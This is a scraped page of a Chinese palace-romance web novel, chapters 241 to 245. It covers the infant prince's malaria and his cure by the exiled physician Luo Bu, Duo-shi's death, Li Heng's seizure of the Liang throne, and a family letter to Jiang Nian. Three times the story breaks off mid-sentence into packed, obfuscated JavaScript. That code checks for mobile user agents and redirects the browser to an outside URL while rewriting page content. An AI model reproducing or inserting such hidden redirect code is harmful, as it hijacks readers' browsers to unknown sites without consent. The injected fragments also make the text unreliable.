“还有……”呼延吉又道,“就算我想停止战事,李恒也不一定会停手,我拿下的那些大梁城镇他势必会抢回,不仅如此,若我夷越不敌,阿姐,你有没有过会有什么后果?” 江念怔怔问道:“什么……后果……” “朔儿会重走我的老路。”呼延吉紧盯着江念的双眼,把话说得很轻,却重重地砸到她的心瓣上,“阿姐想让我们的朔儿去异国为质么?” “不可以!” 呼延吉牵起她的手:“答应我,无论如何你一定要站在我这边,你要信我,好不好?” 江念觉得他这话来得突兀,前后不接,也不懂这句话更深的意思,只能下意识地点了点头。 正在二人说话时,殿外传来急急的脚步声,接着殿门被拍响,虽然只拍了三两下,响动却急。 “进来。”呼延吉掀帐下榻。 秋月带着乳母抢步进殿,乳母手里还抱着啼哭不止的小王子。 “大王,小王子一直啼哭,怎么也哄不好。”乳母说话的声音打着颤,平时哭闹一哄就好,左右不过困了或是饿了,这会儿哭了好一会儿,定是哪里不舒服。 江念霍啦一下掀帐下榻,几步上前把孩子抱在怀里,低头一看,只见孩子一张脸都哭红了,落在她怀里仍是哭不歇,小小的身体发着抖。 呼延吉立马宣宫医前来。 “朔儿不哭,娘在呢,不哭,不哭……”江念把孩子抱在怀里,轻声哄着,可无论怎么哄,孩子都不能安静下来。 呼延吉问向乳母怎么回事,小王子可有受到惊吓。 乳母连连摆头:“奴万万不敢欺瞒大王和王妃,小王子之前并未受到惊吓,就连吃食也是照着往常那样安排,不敢有半点疏忽,不知怎的,突然就啼哭难止,还伴着寒战。” 秋月从旁道:“木雅掌事已叫人查验小王子今日的吃食。” 江念看孩子难受的样子,乱了方寸,孩子就是她的命门,稍有一点差池,她就变得不像自己,全然没了平时的冷静自持。 呼延吉走到她的身边,安抚道:“宫医马上就来,可能是肚腹胀气叫他难受了。” 江念惊惶着眼,声音尽量保持平稳:“可朔儿一直在打颤,大王,你看看,他太难受了,从来没有这样哭过。” “你别急,会没事的,宫医诊治过就知晓了。” 江念点了点头,是了,她不能急,她不能急。 没一会儿,医署所有当值的宫医都来了,江念把孩子放到榻上,退到一边让宫医看治,资历最高的一位老宫医上前诊看,越到后面,面色越严肃,眉头越紧。 老宫医又叫旁边的宫医上前,再诊,那宫医诊过后,面色眼见的难看起来,几位宫医低声私议一番,终是有了定论。 “如何?”呼延吉问道。 “回大王,小王子染了疟疾,情况有些不妙……” 第242章 咱们还会再有孩儿 夷越气候温热,雨季之时蚊虫多,平时殿中会燃驱蚊虫的香息。 江念怕孩子被咬,在他的小衣上挂了香囊,谁知孩子小手不闲,自己玩闹时,把香囊扯掉了,乳母和宫婢们没有立时察觉,又带他出去玩转了一圈。 回来还没怎么样,过了半日开始哭闹。 宫医们讲了疟疾的凶险,如今治疗疟疾的办法只能以青果、常山等草药混合做成饮子,可这些草药药性霸道,用量必须极为注意,最后相互商讨着开了药方,留守于西殿的偏殿中,随时应候。 秋月和木雅安排膳婢熬煮药汁。 江念抱着孩子,垂颈看他,虽是不哭了,可淡淡的眉毛蹙着,眼睛紧紧闭着,整张脸都在用力,因到了熟悉的怀抱,方才安静了一会儿,仍是十分难受。 过了一会儿,宫婢端了汤药来,江念不舍得松手,便把孩子抱着,由宫婢一点点喂饮,在她的轻哄下,算是强喂了小半碗。 吃过汤药后,孩子睡了过去,江念试着将他放于榻间,谁知刚要松手,孩子就有醒来的迹象,没办法,只能一直抱着。 她又不放心叫宫人看顾。 呼延吉见她那样辛苦,心有不忍。 “这么抱着你怎么好睡?” 江念一面慢慢在地上走着,一面轻声道:“今夜睡不成了,大王先歇下罢,天不亮就要早朝。” 呼延吉见江念手抱孩子在屋中来回荡走,嘴里还哼着轻音,走到她的身边:“我来,你去睡。” “这怎么行,你明日还有许多政务处理……” 呼延吉不等江念说完,已探出手,江念只好把孩子往他怀里放去,好在孩子到了呼延吉的怀里只哼哼了两下。 孩子脱手后,江念揉了揉僵涩的肩,五个月的孩子时间抱长了,还是很有些吃力的。 “朔儿不会有事罢?” 这句话今晚江念已经不知问过多少遍,失忆一般再次问道。 “不会,放心,你看他现在睡得多乖,你快去睡,明日他还需你看顾着。” 江念抚了抚孩子的脸,再看向呼延吉:“要不我抱孩子去偏殿睡,叫乳母在偏殿候着。” “你只管去睡,我无妨,在外行军时,夜里不睡是常有的事。” 江念听他如此说,便不再言语,上了床榻,呼延吉跟着走到榻边,倚坐于榻沿,屁股还未坐热,孩子就开始哼动,只好起身在屋里慢慢走动。 呼延吉看着怀里的孩子,心里并不轻松,刚才那话只是他用来安慰妻子的。 这孩子脸色不好,现在的安静并非乖睡,倒像是哭累了,半昏半睡过去。 果不其然,也就一炷香的工夫,孩子再次躁哭起来,那哭声的每一处起伏,无不传递着难受,可哭声的主人却又不能言。 外面看守的宫婢和乳母很快进入殿中,宫医也是轮值看守,又是一番调理诊看。 这会儿,不论是江念还是呼延吉是不能再睡了,就这么守到天明。 次日,朝臣们见君王早朝时愁眉不展,谏言时格外注意,生怕触了他的霉头。 朝会一散,呼延吉也不在议政殿理事,径直回了西殿。 结果等他回殿后,孩子的情况比昨夜更糟,圣太后也来了,整个寝殿被压抑的空气笼罩,宫人们手脚很轻,无人敢言,而这过于安静的四围,一点点声响就显得格外清晰。 呼延吉先上前见过高太后。 高太后刚才见了孩子的病况,虽说在江念面前劝慰她,可孩子的情况并不好,身体烧热不说还伴着抽搐。 她是生养过的,像她这种半边脚已入棺材的人,见过太多养不大的孩子,民间一个家庭里,总会夭折一两个。 “我刚才看了下,情况很坏,那些宫医已然束手无策。”高太后叹了一口气,“你得有个准备,这么下去,只怕……” 呼延吉点头应是。 待高太后走后,呼延吉进入寝殿,这会儿孩子无论谁抱都一个样,宫医们只能先替他降温,江念守在一边,半点不敢离眼。 呼延吉隔着一段距离看了一瞬,转身离开,江念一心挂在孩子身上,并未注意到他,呼延吉出了西殿,叫来丹增,吩咐他:“去接一个人。” 丹增听说后,领命去了。 呼延吉回到西殿,走到榻边,孩子已然昏睡过去。 “还在烧热?” 江念倚靠于床栏,弱声道:“退下来了。” 呼延吉见她面色黄恹恹的,两眼红肿,衣着也乱着,上前将她的肩膀揽住,握住她的手:“别担心,我叫人去请罗布了,他医术高明,身上奇药多,咱们等他来,孩子一定会没事的。” 江念听说,失神的眼睛燃起亮光,反握住他的手:“罗宫医?” “是,罗宫医,所以你别担心,别到时候朔儿的病好了,你这个当母亲的反把身子熬垮了,是不是?” 江念听他说孩子的病能痊愈,沉重的心有了一丝盼望:“只要他好好的,我熬垮身子又算什么。” 呼延吉抚上她的发顶:“这话可不要再说,你和孩子都要好好的。” 江念听说罗布要来,便望眼等着,罗布连朵氏的胎毒都能治好,疟疾一定也有办法医治。 “罗宫医如今在哪里,朔儿的病不能等。” “他一直落脚在京都附近,很快就能来。” 江念这才稍稍放心。 高太后因孩子的病愁烦得夜不能寐,次日一大早便来了西殿。 好在没两日,亲卫带了人来,正是当初被呼延吉驱逐王庭的罗布,只见他一身灰色布衫,身上背着一个大大的药箱,仍是从前那清癯模样。 进了西殿,先朝江念和呼延吉叩拜,起身后行到榻边瞧了孩子的症状。 “我儿情况如何?”江念问道。 罗布微叹道:“草民只能勉力一试,最后能否痊愈无法保证。” “你只管医治。”呼延吉说道。 当下世间诊治疟疾的草药无非就那几种,关键用量需极精细把握,根据病患情况调配时更要注意,只因这些药既有药性又有毒性。 一个不小心便会受克,何论五个月的婴孩儿。 罗布进了西殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769005|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,衣不解带地医看小王子,终于在他的细心调诊下,小王子的病症一日一日地减轻,直到这会儿,江念和呼延吉才稍稍放缓心。 因着孩子生病,呼延吉这些时日下了朝径直回西殿,刚进入前殿,江念疾步走向他,扑到他怀里哭了起来。 呼延吉心里一沉,心道,怕是孩子不行了,叫她失态至此,当下心里也难受。 “咱们已经尽力了,他到这世上来一趟,许是不太满意,又回去了。”呼延吉在江念的额上落下一吻,“以后咱们还会再有孩儿,再生他个一窝,你别太难过……” 江念从他怀里退出,见两边宫人忍笑,当下红了脸,嗔怪道:“胡说什么呢!” 呼延吉见她此副情态,问道:“朔儿他……” 江念拭了拭脸上的泪,嘴角噙笑:“他睡了,睡得好香,没再哭闹,又同从前一样乖了,安安静静的,几日来头一次睡得这样好……” 女人再度哽咽,全不在意自己连日来不曾闭眼,以至眼底乌青,疲态在眼眶盛不下。 呼延吉吁出一口气,罩在心头的阴云终是散去。 “我去看看小家伙。” 两人进了寝屋,榻边守着秋月和乳母,罗布则趴伏在离床榻不远的案几处。 呼延吉轻着脚步,走到榻边,秋月同乳母让出位置,他也不敢坐下,生怕一点点动静就破坏孩子来之不易的舒睡。 男人不同于女人,天性使然,女人当真把孩子当成自己的命,而男人自然也爱自己的孩子,却不似那样钻心的疼爱,显得有些钝。 再加上呼延吉身为君王,心里要装的事情太多。 所以,若孩子真有个不测,他和江念的反应就有些不同,江念可能很长一段时间走不出来,而呼延吉虽然也难过,想的却是,以后他和江念还会再有孩子。 重要的是江念不能有事,只要她没事,不论再坏的事情,他都可以扛住。 可是这一刻,当他看见孩子恬静安睡的小脸,同孩子被病症折磨时无助难受的样子一对比,心里很是触动。 罗布睡得很轻,一点点动静便惊醒,从桌案抬起头,往榻边看去,这才发现大王回了寝殿,于是起身理衣,然后上前静立于一侧。 呼延吉给他睇了一个眼色,示意他随自己出去。 …… 呼延吉坐于凉荫下的竹凳上,罗布立于对面,宫婢们看了茶。 “坐下说话。” 罗布这才告了座。 “可愿回来王庭?”呼延吉问道。 罗布静了一会儿,说道:“草民做过错事,这一辈子不能洗清罪孽,正如大王从前所说,草民的这双手已染人命,不再是治病救人的手。” “既然犯错,不想着怎么弥补,一味沉溺于过往,岂不是罪孽更深,如此一来,人间便是地狱。” 罗布被呼延吉遣出王庭后,呼延吉派人跟了他一段时日,最开始他一直在京都游荡,后来出了京都,在周边一个城镇落脚。 也不行医了,找了一个商铺给人做账房先生,清苦度日…… 第243章 罗宫医,你来啦! 一句“人间便是地狱”正正中了罗布的痛处,他害了那名叫阿月的宫婢,从那以后于他而言,人间即地狱。 呼延吉在他身上打量一番,因为一半梁人血统,皮肤稍浅,不知是不是生活太过拮据,身形显得很是消瘦,年纪不大,鬓发间却掺了白发。 “你先把小王子的病症治好,另外我再给你考虑几日,若是愿意,就继续到王庭当值,起码有个官身,叫人也看得起。” 呼延吉平平的一句话,可罗布听明白了话里的另一层含义,叫人看得起,他如今自己都看不起自己。 “就是想要做善事,也得先把自己立起来,连自己都过不好,又怎么去治病救人,怎么弥补从前的过错。”呼延吉话说到此,便不再多言。 罗布起身谢恩。 又过了几日,小王子的身体已经大好,能吃能睡,笼罩于整个王庭的阴云终于散去。 不过因着这一病,小王子的身体清减了许多,江念又忙着给他调养身体,罗布选择留侍于王庭,仍是宫医的身份。 呼延吉念他救小王子有功,在京都赐了一座宅子与他。 他不在王庭当值时,便于街市口摆摊免费为人看诊,然后给人写方子。 因他医术高明,免费替人写方,渐渐的,很多人慕名而来,常常不等他出摊,那里已排站了好些人。 这日,他刚替一人写完方子,桌面的纸用完了,于是弯下腰从桌下去取新纸,这时,后面一人上前,唤了他一声。 “罗宫医。” 罗布先是一怔,抬眼去看,是个三十来岁妇人装扮的女子,他认得这人,莱拉,朵氏身边的贴身女官。 在他的印象中,这位女官一直是个精明之人,带着凌人的盛气,略显刻薄的嘴唇,说话之时犹如刀刃,东殿的宫人们都有些惧她。 然而,眼前的这人是莱拉没错,只是同从前不太一样,一身粗布短衣,宽撒的裤脚,磨**的鞋底,虽努力挺着腰背,可整个人却褪去了精厉之气。 那日,朵氏于市口斩首,他在人群中一眼认出受刑之人不是她,然后转身离开,离了京都。 “罗宫医,烦你同我去一个地方。” 罗布整了整桌面的纸张,说道:“请见谅,我这里走不开,你身后还有许多人排着队。” 莱拉看了一眼身后排着的长队,只好说道:“我家主子病了,请您去看一看她。” “都是病患,总得有个先来后到。”罗布面无表情地说道。 此时莱拉身后排队的人插话道:“你到底看不看病,不看就让开,别耽误我们,咱们都排了老长时间,就为等罗宫医。” “是呀!罗宫医可是王庭的医师,咱们守他多不容易,他贵人事忙,好不容易出摊,你别把时间耽误了。” “罗宫医菩萨心肠,再寻不到这样好的人,免费替咱们穷人看病。” 又一个声音**来:“你就别说话了,你又不穷,说这话不心虚?” 众人你一言我一语。 莱拉见罗布面色冷淡,身后众人又催促,只能仓促道:“罗宫医,我主子真的病得很重,你若有时间来看一看,只看一看就成……” 话未说完,就被身后之人挤到一边,不得已,只能探脖踮脚塞话进去:“我们住在西郊的狗儿巷。” 罗布并不理会,而是给后面之人问询。 莱拉不敢在外耽搁太久,急急回了西郊。 当初大王网开一面,留了大妃一命,她们就在京都的偏僻处隐姓埋名,原是打算去往他处,可她们两个女子,再加上大妃这个容貌,想要走远,不太可能。 京都是最安全的地方。 倒也不担心被人认出,褪去那一身华冠丽服,真没多少人在意你是谁,对朵家那位老大人来说,大妃实际死没死,他根本不在意,他只要对外有交代就成。 她们在京都西郊的狗儿巷置了一片宅院,之后,就定住在那里,当初从王庭出来,身上没有多少财物,大妃身体底子不好,总会有莫名病症缠身,夫人那边偶会送些衣食来,倒是不愁生计。 莱拉走进狗儿巷,推开一扇院门进入院中,院子不大,走几步再上三层台阶,就进了堂屋,然后推开侧边的房门。 隔着门板,闻得女人的声音:“他呢?” “罗宫医他有些忙,待会儿婢子再去请他……” “是嘛,以前只要是我的事,他立马就到,现在他也忙了。” …… 到了傍晚时分,罗布将桌子收起,本该回宅子的,却是朝着另一个方向走去,等他到狗儿巷时,暮色渐浓。 向周围的人打听一番,走到一户门前,敲响院门。 莱拉打开门,见到院外的罗布时,怔了怔,脸上露出欢喜的神色,将他迎进院中。 “朵姑在屋里,婢子引宫医进去。” 罗布止住她:“不必了,你同我说一说她的症状。” 莱拉略带乞求地看向罗布:“你进去看一看她罢,她病得真的很重。” 一时间,周围特别安静,屋里是安静的,屋外也是安静的。 “我还有事,就不进去了。”罗布说完,转身出了院门。 莱拉叹了一声走到屋内,就见朵姑仰躺于榻上,双目闭着,眼角是划过的泪痕,枕上已湿了一片。 之后的几日,罗布没有出摊,他出摊的时间并不固定,莱拉每日就在那里守望着,直到再次把他盼来。 “罗宫医,我来替我家主子拿方子。” 罗布点头道:“她是什么病症?” “就是咳嗽,先时以为是普通的风寒,叫大夫看了,药也吃了,总不见好,如今只能躺在床上。” 罗布正要下笔的手顿住,直到墨汁从笔尖滴落,晕染于纸上。 “你回去,待我收了摊去看一看。” 莱拉赶紧应下,然后忙不迭地回了狗儿巷,把这一消息告诉朵氏。 “他真说要来?”朵氏问罢后,止不住地咳了几声。 “是呢,罗宫医说了,他收摊了就来。” 朵氏吃力地说道:“那你快把我扶起来,再拿镜子让我瞧一瞧自己。” 莱拉愣着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769006|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动,朵氏催促道:“怎么不动,快拿面镜子来,我许久不梳妆,想是有些憔悴了,待他来之前,理个妆也好见人。” 莱拉只好应是,一步一缓地走到妆台前,取过一面铜镜,然后走回榻前,先将朵氏扶坐起,再把镜子交到她的手里。 朵氏望向镜子,镜中那个枯槁之人她并不认识。 罗布收摊后,依言来到狗儿巷,叩响院门,这一次过了好半晌,院门才打开。 “罗宫医,你来啦。”莱拉扯起嘴角,笑得勉强,“进屋罢,朵姑等了你一下午呢。” 罗布颔首,背着药箱随莱拉进到屋室里。 屋室方方正正,打扫得很干净整洁,陈设不多,一方木桌,几张圆凳,靠墙的一侧是一张床榻,床帐掩着,看不见内里,只能观得一个朦胧的身影。 莱拉搬来一个圆凳放到榻前,引罗布入座:“宫医这里坐。” 罗布看着那掩实的帐幔,并未说什么,坐于凳子上。 莱拉近到纱帐前,躬身道:“主子,罗宫医来了。” 纱帐里的人“嗯”了一声,然后探出一条细细的手腕,手腕的皮肤很薄,下面的筋脉微微凸起,因为太瘦,胳膊就是骨架的形状。 罗布看着那截腕子,眉间微蹙,将手搭了上去,此时帐中人又咳了起来,一旦起音,便不能声止。 “罗宫医,我主子的病症如何?” 罗布没有直接回答,而是说道:“我开一剂方子,你照药方去抓药,煎熬给她服用。” 说罢,折身伏于桌面写下方子,然后从袖中掏出一粒碎银子,一并递给莱拉,莱拉顿时红了眼眶,两眼酸胀,接过药方并那一粒碎银,道了谢,转身出了屋子。 此时屋里只有罗布和朵氏两人。 “我的病还能好么?”朵氏问道。 “好好养病,不要多想。”罗布回道。 接着帐中响起一串伴着轻咳的不连贯的笑声:“我知道……咳咳……好不了,也就只这几个月的光景了。” 咳声中,女人又道:“我口渴了,可否递一杯水进来。” 罗布起身,从桌上倒了一杯水,从帐缝递了进去,朵氏双手接过,喝了两口,然后一手拿杯,一手搭上他还未退出的手,将杯子还回他的手中。 罗布将茶杯拿出,搁于桌上,重新坐回。 “我这就叫报应罢,活不长久的。”朵氏悠悠说道,“从儿时起,这双手就沾了人命,心也渐渐地扭曲,现在轮到我自己了,像我这样的人,可能下辈子不能再世为人了。” “下辈子我也不想做人了。”朵氏自顾自地说道,“现在我和你一样,都是被逐弃之人。” 大多时候,都是朵氏在说,罗布听着,她说得有些吃力,带着咳喘的气音。 “你明日还来么?”朵氏又问。 罗布不言,朵氏也不再追问。 次日,罗布还是来了,往后的一段时日,他都如那日一样,坐在那里静静地听她说话,偶尔应上一两句,只是随着时间的推移,她说话停顿的间隙越来越久…… 第244章 我这罪孽可消了? 之后的一段时日,无论罗布在不在王庭当值,傍晚时分都会准时来狗儿巷。 他们之间一直隔着床帐,她在里,他在外,她不说掀帘见他,他也不说见她的话。 各自坐在心安的位置。 这日,朵氏依照往常吃了药,递出碗,莱拉接过,然后退出屋室,守在门外。 “可不可以应我一件事?”朵氏问道。 “你说。”罗布说完后,中间停了好久,朵氏才道出下一句,而且声音特别低弱,仿佛连咳嗽的力道也没多少了。 “若是我走了,你不要掀帘看我,情愿你记住我以前的样子。” “好。”罗布应下。 然后又是一阵极久的安静,这份安静慢慢地延长,在她最后一声轻咳中,听得她轻言:“以后有空去看看我,我那坟头若是长了草,你替我清理清理,只是留些狗尾巴草在上面。” “好。” 幽叹中,留下的最后一句话:“我这罪孽可消了罢……” 帐幔下垂摆着一只细柳般的手,罗布终于上前,轻轻地将那手握住,很凉,和这屋里的桌、椅一个温度,是树间褪去的蝉壳。 他执着她的手,一滴带有温度的泪落在她的手背上,他再也感受不到她的温度,她亦感受不到这泪的温度…… 莱拉遵从朵氏的遗愿,丧事从简,在城外挑了一块地,装殓后就埋了,也没告知朵家夫人,罗布帮忙料理的。 后来,他去看望她,替她清理坟包,会留些狗尾巴草,风过时,就会轻轻地摇摆。 …… 这日,散朝后,呼延吉去了议政殿,同几位朝臣商议要事。 议政殿内,御案下两溜排坐着文臣武将,不似大殿之上那样恭肃,多了一份随意。 “恒王的兵马自梁西径直北上,一路斩杀至梁朝廷。”大将葛萨说道。 此人曾和昆善同在梁西抵御梁朝廷和恒王兵马。 “也非一路斩杀,恒王就是再强也强不至此,多半还是梁帝失了人心,那些个守城官见是前太子李恒,好些直接不战而降,打开城门迎接。”昆善说道。 “若李恒杀进梁朝廷,我们日后的对手就变成了李恒,此人不同于梁帝,于我夷越而言并非好事。”崔致远有些担忧。 众人你一言我一语地说着,不时看向上首的君王。 “我夷越如今能压梁国一头,非梁帝昏聩之功,实乃我军甲兵之利,不论他们谁坐帝位,何惧之有。”呼延吉说道。 众人点头应下,以眼下形势,梁国已处风雨飘摇中,夷越同恒王共分梁土,帝位上的梁帝只剩一个空架子,坐不久了。 所料不错,李恒引军兵攻入大梁京都,这一路走得通畅,并未费太大气力,得道多助,失道寡助淋漓体现。 梁帝不仅失了民心,亦失了臣心,面对一个仁德的前太子,且这前太子手上还握有骁兵勇将,杀进皇宫简直不要太容易。 梁国臣民将李恒视作解救他们的英主,是重兴大梁的希望。 当李恒带兵攻入皇宫时,梁帝李旭身着朝袍,端坐于皇位之上,睨看着下首的李恒和他身后的众将。 “兄长,你终于还是来抢这皇位了。”李旭说着,手下缓缓摩挲宝座扶手。 李恒面上仍是淡淡的,他隐忍太久了,以至于不太习惯外放情绪,就像平静如砥的湖面,拂不起半点的波动。 “三弟此言差矣,何来抢呢,当是拿回,若说抢,也该是你从我手里抢夺。”李恒说道。 兄弟二人没有太多的话,他们之间也没什么可说的,左不过成王败寇,在较量中已道尽一切。 李恒没有斩杀李旭,也许存了一点兄弟情,也许是李旭为帝之时,没对他下**的缘故。 随后,李恒登基为帝,而李旭则幽禁于先前的太子府,在李恒登基后,去了一趟曾经禁闭自己的府邸。 曾经的太子府,门前车马簇簇,访者不绝,是梁国除了皇宫以外,最显赫的宅邸,而今,成了一座华丽的囚牢。 李恒漫步走在这座略显萧瑟的宅园,身后跟了一群奴仆。 这些年梁国势衰,毗邻的夷越却昌隆强劲,全然凌驾于大梁之上。 李恒走了一圈,吩咐下人:“带我去见那人。” “是。”下人在前引路,一众人行到一扇紧闭的房门前。 “你们候在这里。”李恒说着,然后推门进了那屋。 屋室很大、很空,前梁帝李旭倦坐在一张罗汉榻上,赤着足,散着发,自在地喝着茶,见了来人,也不施礼,只当没看见的。 “他们说兄长要来,不让我出这屋子,怕扰了兄长雅兴,还望莫要计较我的失礼。”李旭说道。 李恒立在他的面前看了一会儿,并不关心这些,而是开口说道:“我有一事一直不得解,要问你一问。” 李旭听后,先是一怔,接着大笑出声,然后在笑声中道出:“你想知道当年为何父皇让我承继帝位,将你罢黜,明明兄长那样贤德仁厚,又得民心,怎么最后就选择了我这么个庸碌无为的三皇子呢?皇兄想问这个,是也不是?” 李恒勾起一抹讥讽的笑意:“不错,我至今想不通,而且……你的对手不仅有我,还有老二,以你的心计智谋,帝位本该与你无缘。” “你真想知道?” “说来。” 李旭笑了笑,带着一点悲凉的意味,就连他登上帝位,旁人也以为他用了什么不正当手段。 “皇兄颖悟,心性宽厚,是百姓和朝臣们心中当仁不让的下一位君王,可正是你的这些优越之处,叫父皇起了忌惮之心,父皇的性子你难道不知?”李旭又道,“而我,也正是因为无能,不争不抢,得以入了父皇的眼。” 李恒凝视着对面毫无仪态的李旭,问道:“就这?” “怎么,你不信?” “你拿我当三岁小儿哄?你不过是看起来老实夯笨,实则性情乖戾,善于伪装罢了,若无人给你出谋划策,你走不到这一步。” 李旭轻笑着摇了摇头,也不趿鞋,下了罗汉榻,走到窗边站立。 “所以皇兄想听什么?” 李恒不愿同他多作耽搁,沉声道:“道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777295|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出实情便可。” 李旭想了想,说道:“本来呢,我是不想说的,好叫你们以为输在了我手里,起码我在帝位之争上曾压过你二人一头。”说到这里,话语停了停,然后继续道:“不过,既然你看出了这里面的勾当,我也就不瞒了,毕竟我也恨那人……” …… 江念这段时日格外忙碌,因着孩子要过一岁生辰,上上下下地忙转,虽说内务司承办生辰筵宴,可大小事体也需她过目和计较。 待忙出个大体章程后,才算清闲下来,其他小微事宜宫人们自能料理。 这日,肖甄带着孩子到王庭来,先去肖妃的莲花殿坐了一会儿,然后两人又一道来了西殿。 宫人们便抱着罗家的小阿姑和小王子在一旁的毡毯上玩耍,又拿了许多小玩意儿和吃食散在毡毯上。 “你家小安现在走得倒是很稳当。”江念看着罗家的小阿姑,说道。 肖甄笑说道:“在家里谁也不比她走得快,要强着呢,千万不能走她前头,若是同她并走着,倒还好,若是比她先一点,她势必要抢几步,颠颠的行到前面,有一次,她父亲引她到园子里玩,她又长得肉实,抱了一会儿,嫌她沉,就把她放到地上,结果你们猜怎么着?” 江念同肖妃齐声问道:“怎么着?” “她父亲心想着有婢子们牵引,也没注意,快走了几步,没去管她,结果,她甩着膀子,抢什么似的,非要争走到她父亲前面,又走不太稳,两脚一绊,摔了个大的,把那下巴磕破了,这才养好呢。”肖甄一面说一面笑着摇头。 江念赶紧招手道:“小安安,你来,叫姨姨看一看。” 肖甄赶紧吩咐自己的丫头香海:“带过去叫殿下瞧一瞧。” 香海把自家小主子引到江念面前,江念看着面前玉团似的娃娃,和肖甄一样秀气的眉眼,很灵透,一张小嘴红嘟嘟,高挺英气的鼻子应是托了她的父亲。 稀疏的眉毛稍稍一皱很是认真的模样,下巴那里有一道新粉的印记。 “疤掉了呢,还疼不疼?”江念问道。 小丫头眨了眨眼:“不哭……” 一语毕,殿里的人都跟着笑起来。 这时,小王子也在宫婢的扶护下晃走到江念身边,抱着自己娘亲的膝头,生怕人跟他抢似的,瞪看着比他高一个脑袋的罗家小阿姑,罗安。 大人们看着这一幕又是一阵欢快的笑声,然后宫婢将两个小人儿引到一边随他们玩闹。 “我家朔儿还不会说话,可真愁人。”江念说道。 “这也没个定数,我特意问过府里的婆子,她们说有早有晚,安儿也是一岁过了才开始吞吐说话。” 江念点了点头,殿下众人从旁递话打趣,很是热闹。 正说着,木雅从外行来,立在江梁身边,双手呈奉于身前:“殿下,有梁国来的书信。” 江念并没马上接过,而是开口问道:“大王知道么?” “大王已知晓,叫大宫监转递内廷。” 江念这才接了书信,在信封上扫了一眼…… 第245章 再生一个? 肖甄和肖妃见江念接过书信,便起身辞别。 江念也不多留,叫宫侍送她二人,待人走后,起身从外殿走回内殿,坐于矮案前,将刚才的书信取出。 信套最左侧写着“家信”二字,信右侧书着,阿姐江念,展信,再往后书着,弟,轲,拜启。 江念打开信套,抽出信笺,展开,细细看了,然后露出一丝笑容,待到呼延吉回西殿时,江念把信拿到呼延吉面前。 “轲儿说待朔儿生辰之时,他来王庭看一看他,给他庆生呢。” 呼延吉接过书信,随意扫了一眼,说道:“他可算是如愿了,如今李恒坐上帝位,他就是大功臣,你江家又重立门楣。” 后面的话呼延吉没有道出,若是她再思念故土,也不用担惊受怕不敢回。 江念倒没想这些,眼下只是沉浸在亲人即将相聚的欢喜中,日后等孩子再大一些,方便远行,她兴许会带着朔儿回一趟梁国,回一趟江家,祭奠亲人。 不过眼下他还太小,而且两国又正敌对,这个事情只能暂且放下。 “我先前给他去了一封信,没指望他会来,不过朔儿一岁生辰还是要让他这个当舅舅的知道,平日书信往来,他也总提起朔儿,终是把他盼来了。”江念说道。 呼延吉点了点头:“之前在徽城你我二人那般劝说,都不能将他这尊大佛请来,朔儿一岁生辰,他倒是半点不含糊,看来朔儿比你我二人的脸面大。” “可不是嘛!”江念招手让秋月抱孩子来,将孩子放到毡毯上。 小儿一到父母跟前就欢蹦起来,先是在江念身上腻歪了一会儿,又蹒跚到他父亲怀里,一屁股坐下。 “你看看,任我日夜招呼,最后还是更亲近你。” 呼延吉抱着儿子,笑道:“朔儿你看看你娘,吃醋了,这是怀你的时候,酸的东西吃多了?” 小儿似是听懂了,然后咯咯笑了起来,露出白白的小牙。 小儿在呼延吉的扶护下起身,再次摇摆着走向江念,张开肉肉的手臂,示意要抱,江念心里顿时化成水,一把将孩子搂住,就听到怀里的儿子轻脆脆的叫了一声。 “娘娘——” “娘在。”江念回应道。 呼延吉看着眼前的一幕,眼底尽是柔和,也只有在妻儿面前,他才露出这样稀贵的神情。 江念抱着孩子,对面的呼延吉也张开胳膊,不待她反应,宽阔的双臂把娘俩笼在怀里,然后一个起身,将一大一小打横抱起。 江念抱着孩子,呼延吉抱着她,惊得轻呼出声:“快放我下来。”怀里的小儿却觉得好玩,咯咯笑得更开心了。 “你看朔儿喜欢。”说着,呼延吉抱着二人掂了掂。 这一掂叫江念也跟着笑起来,呼延吉趁势问道:“罗家的小丫头今日来了?” “是呢,一岁好几个月了,两条小腿迈步子稳稳当当,虎纠纠的,怪惹人爱的。” 呼延吉仍把母子二人抱着,低下头,却不是看着江念,而是看着怀里的儿子,问道:“朔儿想不想要一个妹妹?” 孩子并不能全懂,不过学着说话:“妹……妹……” 江念红了脸:“胡说什么,快放妾身下来。” 呼延吉把一大一小放到地上,江念就要走,却被呼延吉拉住:“咱们再要一个好不好?” 自打他从梁西回来,每次事毕,她又同先开始那样,会往嘴里含避子丸。 因她才诞下子嗣,身体也需时日调养,也是合该如此,不过眼下已过了将近一年,可以再要一个。 